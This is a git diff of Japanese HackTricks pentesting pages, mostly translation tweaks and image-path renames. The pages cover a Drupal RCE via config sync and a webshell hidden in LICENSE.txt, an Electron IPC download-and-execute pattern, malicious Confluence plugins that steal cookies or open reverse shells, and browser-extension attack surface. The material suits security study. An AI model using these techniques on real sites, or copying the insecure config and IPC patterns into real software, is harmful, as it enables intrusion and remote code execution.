### パート2機能_設定同期_の活用 <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
@ -112,7 +112,7 @@ _設定同期_機能を活用して、Drupalの設定エントリをダンプ
最初のエントリ`allow_insecure_uploads`をパッチすることから始めましょう:
ファイルsystem.file.yml
ファイル: system.file.yml
```
...
@ -122,7 +122,7 @@ allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
に:
@ -136,7 +136,7 @@ allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
**パッチ field.field.media.document.field\_media\_document.yml**
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
...
```
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
に:
@ -168,9 +168,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
```
> このブログ投稿では使用していませんが、`file_directory`を任意の方法で定義でき、パス・トラバーサル攻撃に対して脆弱であることが指摘されていますこれにより、Drupalファイルシステムツリー内で上に戻ることができます
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### パート 3 (機能 _Add Document_ の活用) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
### パート3機能 _Add Document_ の活用) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
最後のステップは最も簡単で、2つのサブステップに分かれています。最初は、Apacheディレクティブを活用し、.txtファイルがPHPエンジンによって解釈されるようにするために、.htaccess形式のファイルをアップロードします。2つ目は、ペイロードを含む.txtファイルをアップロードすることです。
@ -198,11 +198,11 @@ WebサーバーにWebshellLICENSE.txtと呼ぶをドロップすると、`
なぜWebshellをLICENSE.txtと名付けるのか
単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)これはDrupalコアにすでに存在するファイルを取ると、339行で17.6 KBのサイズのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適ですファイルが十分に大きいため
単純に、例えば[core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt)これはDrupalコアにすでに存在するファイルを取ると、339行でサイズは17.6 KBのファイルがあり、真ん中に小さなPHPコードのスニペットを追加するのに最適ですファイルが十分に大きいため
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
ファイル: パッチを当てたLICENSE.txt
ファイル: パッチ済みLICENSE.txt
```txt
...
@ -235,43 +235,43 @@ programs whose distribution conditions are different, write to the author
まず、_Add Document_ (/media/add/document) 機能を利用して、Apache ディレクティブを含むファイル (.htaccess) をアップロードします。
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1).png" alt=""><figcaption></figcaption></figure>
**Part 3.2 (upload file LICENSE.txt)**
次に、再度 _Add Document_ (/media/add/document) 機能を利用して、ライセンスファイルに隠された Webshell をアップロードします。
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (12) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (13) (1).png" alt=""><figcaption></figcaption></figure>
### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
最後の部分は、Webshell と対話することです。
以下のスクリーンショットに示されているように、Webshell に期待されるクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。
以下のスクリーンショットに示されているように、Webshell が期待するクッキーが定義されていない場合、Web ブラウザを介してファイルを参照すると、次の結果が得られます。
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
攻撃者がクッキーを設定すると、Webshell と対話し、任意のコマンドを実行できます。
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
ログに示されているように、要求されたのはテキストファイルだけのようです。
ログに示されているように、要求されたのはテキストファイルだけのようです。
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
この記事を読んでいただきありがとうございます。これがシェルを取得するのに役立つことを願っています。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Electron contextIsolation RCE via IPC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -21,14 +21,14 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Example 0
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) からの例(これらのスライドは、MS TeamsがXSSからRCEをどのように悪用していたかの完全な例があります。これは非常に基本的な例です
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) からの例(これらのスライドは、MS TeamsがXSSからRCEをどのように悪用していたかの完全な例があります。これは非常に基本的な例です
<figure><img src="../../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Example 1
`main.js`が`getUpdate`をリッスンし、渡された**任意のURLをダウンロードして実行する**方法を確認してください。\
また、`preload.js`が**任意のIPC**イベントをメインから公開している方法も確認してください。
また、`preload.js`が**mainから任意のIPC**イベントを**公開している**方法も確認してください。
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
@ -106,8 +106,8 @@ ipcRenderer.send(event, data);
};
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -115,7 +115,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -25,7 +25,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
Jiraでは、**権限は**認証されたユーザーでも認証されていないユーザーでも、エンドポイント`/rest/api/2/mypermissions`または`/rest/api/3/mypermissions`を通じて確認できます。これらのエンドポイントは、ユーザーの現在の権限を明らかにします。**非認証ユーザーが権限を持つ**場合、これは**セキュリティの脆弱性**を示し、**バウンティ**の対象となる可能性があります。同様に、**認証されたユーザーに対する予期しない権限**も**脆弱性**を強調します。
重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントには**'permission'パラメータ**を含める必要があります。この要件は、照会される権限を指定すること**セキュリティを強化**することを目的としています: [ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
重要な**更新**が**2019年2月1日**に行われ、'mypermissions'エンドポイントには**'permission'パラメータ**を含める必要があります。この要件は、照会される権限を指定することにより**セキュリティを強化**することを目的としています: [ここで確認](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -112,7 +112,7 @@ public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; }
}
```
これらのプラグインは、XSSのような一般的なウェブ脆弱性に対して脆弱である可能性があることが観察できます。たとえば、前の例はユーザーから提供されたデータを反映しているため脆弱です。&#x20;
これらのプラグインは、XSSのような一般的なウェブ脆弱性に対して脆弱である可能性があることが観察できます。えば、前の例はユーザーから提供されたデータを反映しているため脆弱です。&#x20;
XSSが見つかった場合、[**このgithubリポジトリ**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence)には、XSSの影響を増加させるためのペイロードがいくつかあります。
@ -126,10 +126,12 @@ XSSが見つかった場合、[**このgithubリポジトリ**](https://github.c
* **添付ファイルとページの抽出**:すべてのデータにアクセスし、抽出を許可します。
* **セッショントークンの盗難**レスポンス内のヘッダークッキーを含むをエコーするエンドポイントを追加し、それに連絡してクッキーを漏洩させるJavaScriptを追加します。
* **コマンド実行**:もちろん、コードを実行するプラグインを作成することが可能です。
* **リバースシェル**リバースシェルを取得することもできます。
* **リバースシェル**またはリバースシェルを取得します。
* **DOMプロキシング**Confluenceがプライベートネットワーク内にある場合、アクセス権を持つユーザーのブラウザを通じて接続を確立し、例えばサーバーコマンドを実行することが可能です。
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
@ -143,9 +145,9 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有する、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
## 基本情報
ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。拡張機能は独自の[DOM](https://www.w3schools.com/js/js\_htmldom.asp)を持っていますが、他のサイトのDOMと相互作用することができます。これは、他のサイトの機密性、完全性、および可用性CIAを危険にさらす可能性があることを意味します。
ブラウザ拡張機能はJavaScriptで書かれ、ブラウザによってバックグラウンドで読み込まれます。独自の[DOM](https://www.w3schools.com/js/js\_htmldom.asp)を持っていますが、他のサイトのDOMと相互作用することができます。これは、他のサイトの機密性、完全性、および可用性CIAを危険にさらす可能性があることを意味します。
## 主なコンポーネント
拡張機能のレイアウトは視覚化されると最も良く見え、3つのコンポーネントで構成されています。それぞれのコンポーネントを詳しく見ていきましょう。
<figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (16) (1) (1).png" alt=""><figcaption><p><a href="http://webblaze.cs.berkeley.edu/papers/Extensions.pdf">http://webblaze.cs.berkeley.edu/papers/Extensions.pdf</a></p></figcaption></figure>
### **コンテンツスクリプト**
@ -35,17 +35,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### **ネイティブバイナリ**
拡張機能は、**ユーザーの完全な権限でホストマシンにアクセスできるネイティブバイナリ**を許可します。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscapeプラグインアプリケーションプログラミングインターフェース[NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアと相互作用します。
拡張機能は、**ユーザーの完全な権限でホストマシンにアクセスできるネイティブバイナリ**を許可します。ネイティブバイナリは、Flashや他のブラウザプラグインで使用される標準のNetscapeプラグインAPI[NPAPI](https://en.wikipedia.org/wiki/NPAPI))を介して拡張機能コアと相互作用します。
### 境界
{% hint style="danger" %}
ユーザーの完全な権限を取得するには、攻撃者は拡張機能に悪意のある入力をコンテンツスクリプトから拡張機能のコアに、そして拡張機能のコアからネイティブバイナリに渡すように説得しなければなりません
ユーザーの完全な権限を取得するには、攻撃者は拡張機能にコンテンツスクリプトから拡張機能のコアへの悪意のある入力を渡すように説得し、拡張機能のコアからネイティブバイナリへの悪意のある入力を渡す必要があります
{% endhint %}
拡張機能の各コンポーネントは、**強力な保護境界**によって互いに分離されています。各コンポーネントは**別々のオペレーティングシステムプロセス**で実行されます。コンテンツスクリプトと拡張機能コアは、ほとんどのオペレーティングシステムサービスに利用できない**サンドボックスプロセス**で実行されます。
さらに、コンテンツスクリプトは**別のJavaScriptヒープで実行されることによって、関連するウェブページから分離されています**。コンテンツスクリプトとウェブページは**同じ基盤となるDOMにアクセスできますが**、2つは**JavaScriptポインタを交換することは決してありません**。これにより、JavaScript機能の漏洩を防ぎます。
さらに、コンテンツスクリプトは**別のJavaScriptヒープで実行されることによって、関連するウェブページから分離されています**。コンテンツスクリプトとウェブページは**同じ基盤となるDOMにアクセスできますが**、2つは**JavaScriptポインタを交換することは決してなく**、JavaScript機能の漏洩を防ぎます。
## **`manifest.json`**
@ -101,7 +101,7 @@ Example:
```
より多くのURLを含めたり除外したりするために、**`include_globs`** と **`exclude_globs`** を使用することも可能です。
これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) を使用して拡張機能のストレージから `message` 値を取得し、ページに説明ボタンを追加する例のコンテンツスクリプトです。
これは、[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用して拡張機能のストレージから`message`値を取得し、ページに説明ボタンを追加する例のコンテンツスクリプトです。
```js
chrome.storage.local.get("message", result =>
{
@ -116,16 +116,16 @@ document.body.appendChild(div);
```
<figure><img src="../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用するためです。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、メッセージが拡張ページに送信され、コンテンツスクリプトが通信できるようになります。
このボタンがクリックされると、コンテンツスクリプトによって拡張ページにメッセージが送信されます。これは、[**runtime.sendMessage() API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/sendMessage)を利用するためです。コンテンツスクリプトはAPIへの直接アクセスに制限があり、`storage`が数少ない例外の一つです。これらの例外を超える機能については、コンテンツスクリプトが通信できる拡張ページにメッセージが送信されます。
{% hint style="warning" %}
ブラウザによって、コンテンツスクリプトの機能は若干異なる場合があります。Chromiumベースのブラウザの場合、機能リストは[Chrome Developers documentation](https://developer.chrome.com/docs/extensions/mv3/content\_scripts/#capabilities)で入手可能で、Firefoxの場合は[MDN](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/Content\_scripts#webextension\_apis)が主な情報源となります。\
また、コンテンツスクリプトはバックグラウンドスクリプトと通信する能力があり、これによりアクションを実行し、応答を返すことができます。
{% endhint %}
Chromeでコンテンツスクリプトを表示およびデバッグするには、オプション > その他のツール > デベロッパーツールからChromeデベロッパーツールメニューにアクセスするか、Ctrl + Shift + Iを押します。
Chromeでコンテンツスクリプトを表示およびデバッグするには、Options > More tools > Developer toolsからChrome開発者ツールメニューにアクセスするか、Ctrl + Shift + Iを押します。
デベロッパーツールが表示されたら、**ソースタブ**をクリックし、次に**コンテンツスクリプト**タブをクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。
開発者ツールが表示されたら、**Source tab**をクリックし、次に**Content Scripts**タブをクリックします。これにより、さまざまな拡張機能から実行中のコンテンツスクリプトを観察し、実行フローを追跡するためのブレークポイントを設定できます。
### 注入されたコンテンツスクリプト
@ -208,7 +208,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" });
* **`document_start`**: `css` からのファイルの後、しかし他のDOMが構築される前や他のスクリプトが実行される前。
* **`document_end`**: DOMが完了した直後ですが、画像やフレームなどのサブリソースが読み込まれる前。
#### `manifest.json`経由
#### `manifest.json` を介して
```json
{
"name": "My extension",
@ -224,7 +224,7 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" });
}
```
**`service-worker.js`**を介して
Via **`service-worker.js`**
```javascript
chrome.scripting.registerContentScripts([{
id : "test",
@ -235,7 +235,7 @@ js : [ "contentScript.js" ],
```
### `background`
コンテンツスクリプトによって送信されたメッセージは、**バックグラウンドページ**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、バックグラウンドページは拡張機能のライフタイムを通じて持続し、直接的なユーザーの操作なしに静かに動作します。独自のドキュメントオブジェクトモデルDOMを持ち、複雑な相互作用と状態管理を可能にします。
コンテンツスクリプトによって送信されたメッセージは、**バックグラウンドページ**によって受信され、拡張機能のコンポーネントを調整する中心的な役割を果たします。特に、バックグラウンドページは拡張機能のライフタイムを通じて持続し、ユーザーの直接的な操作なしに静かに動作します。独自のドキュメントオブジェクトモデルDOMを持ち、複雑な相互作用と状態管理を可能にします。
**重要なポイント**:
@ -257,9 +257,9 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
}
})
```
それは、[runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)を使用してメッセージをリッスンします。`"explain"`メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)を使用して新しいタブでページを開きます。
It uses [runtime.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) to listen to messages. When an `"explain"` message is received, it uses [tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) to open a page in a new tab.
バックグラウンドスクリプトをデバッグするには、**拡張機能の詳細に移動してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトを含む開発者ツールが開きます:
To debug the background script you could go to the **extension details and inspect the service worker,** this will open the developer tools with the background script:
<figure><img src="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
@ -267,22 +267,22 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
ブラウザ拡張機能にはさまざまな種類のページが含まれることがあります:
* **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウン表示されます。
* **アクションページ**は、**拡張機能のアイコン**がクリックされたときにドロップダウン表示されます。
* 拡張機能が**新しいタブで読み込むページ**。
* **オプションページ**:このページはクリックすると拡張機能の上に表示されます。前のマニフェストでは、`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でこのページにアクセスできました。または、クリックすることで:
* **オプションページ**:このページはクリックすると拡張機能の上に表示されます。前のマニフェストでは、私はこのページに`chrome://extensions/?options=fadlhnelkbeojnebcbkacjilhnbjfjca`でアクセスできました、またはクリックすることで:
<figure><img src="../../.gitbook/assets/image (24).png" alt="" width="375"><figcaption></figcaption></figure>
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有します:
これらのページは、必要に応じて動的にコンテンツを読み込むため、バックグラウンドページのように永続的ではないことに注意してください。それにもかかわらず、これらはバックグラウンドページと特定の機能を共有しています:
* **コンテンツスクリプトとの通信**バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。
* **拡張機能固有のAPIへのアクセス**これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。
* **コンテンツスクリプトとの通信** バックグラウンドページと同様に、これらのページはコンテンツスクリプトからメッセージを受信でき、拡張機能内での相互作用を促進します。
* **拡張機能固有のAPIへのアクセス** これらのページは、拡張機能に定義された権限に従って、拡張機能固有のAPIへの包括的なアクセスを享受します。
### `permissions` & `host_permissions`
**`permissions`**と**`host_permissions`**は、`manifest.json`のエントリで、**ブラウザ拡張機能がどの権限**(ストレージ、位置情報など)を持っているか、**どのウェブページ**であるかを示します。
ブラウザ拡張機能は非常に**特権的**であるため、悪意のあるものや侵害されたものは、攻撃者に**機密情報を盗んだり、ユーザーを監視したりするためのさまざまな手段を提供する可能性があります**。
ブラウザ拡張機能は非常に**特権的**であるため、悪意のあるものや侵害されたものは、攻撃者に**機密情報を盗んだり、ユーザーを監視するためのさまざまな手段を提供する可能性があります**。
これらの設定がどのように機能し、どのように悪用される可能性があるかを確認してください:
@ -292,13 +292,13 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
### `content_security_policy`
**コンテンツセキュリティポリシー**は、`manifest.json`内にも宣言できます。定義されている場合、それは**脆弱**である可能性があります。
**コンテンツセキュリティポリシー**は、`manifest.json`内にも宣言できます。定義されている場合、それは**脆弱である可能性があります**
ブラウザ拡張機能ページのデフォルト設定はかなり制限されています:
```bash
script-src 'self'; object-src 'self';
```
CSPおよび潜在的なバイパスに関する詳細は、以下を確認してください:
CSP潜在的なバイパスに関する詳細は、以下を確認してください:
{% content-ref url="../content-security-policy-csp-bypass/" %}
[content-security-policy-csp-bypass](../content-security-policy-csp-bypass/)
@ -335,7 +335,7 @@ chrome-extension://<extension-id>/message.html
ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**idは動的**になる可能性があります。
{% hint style="success" %}
ここにページが記載されていても、**Content Security Policy**のおかげで**ClickJacking**に対して**保護されている**可能性があることに注意してください。したがって、ClickJacking攻撃が可能であることを確認する前に、これをframe-ancestorsセクションチェックする必要があります
ここにページが記載されていても、**Content Security Policy**のおかげで**ClickJacking**に対して**保護されている**可能性があることに注意してください。したがって、ClickJacking攻撃が可能かどうかを確認する前に、これをチェックする必要がありますframe-ancestorsセクション
{% endhint %}
これらのページにアクセスできることは、これらのページが**潜在的に脆弱なClickJacking**であることを意味します:
@ -356,11 +356,11 @@ chrome-extension://<extension-id>/message.html
### `externally_connectable`
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、**どの拡張機能とウェブページがあなたの拡張機能に接続できるか**を宣言します。これは[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して行われます。
[**docs**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、**どの拡張機能とウェブページがあなたの拡張機能に接続できるか**を宣言します。これは[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して行われます。
* **`externally_connectable`**キーが拡張機能のマニフェストに**宣言されていない**場合、または**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、ウェブページは接続できません**。
* **特定のIDが指定されている**場合、例えば`"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように、**そのアプリケーションのみ**が接続できます。
* **matches**が指定されている場合、これらのウェブアプリは接続できるようになります:
* **マッチが指定されている**場合、これらのウェブアプリは接続できるようになります:
```json
"matches": [
"https://*.google.com/*",
@ -368,27 +368,27 @@ chrome-extension://<extension-id>/message.html
```
* 空として指定されている場合: **`"externally_connectable": {}`**、アプリやウェブは接続できません。
ここで示されている **拡張機能とURLが少ないほど**、**攻撃面小さく**なります。
ここで示されている **拡張機能とURLが少ないほど**、**攻撃面小さく**なります。
{% hint style="danger" %}
もしウェブページが **`externally_connectable`** に **XSSまたはテイクオーバーに脆弱** として示されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信** でき、コンテンツスクリプトとそのCSPを完全にバイパスすることができます。
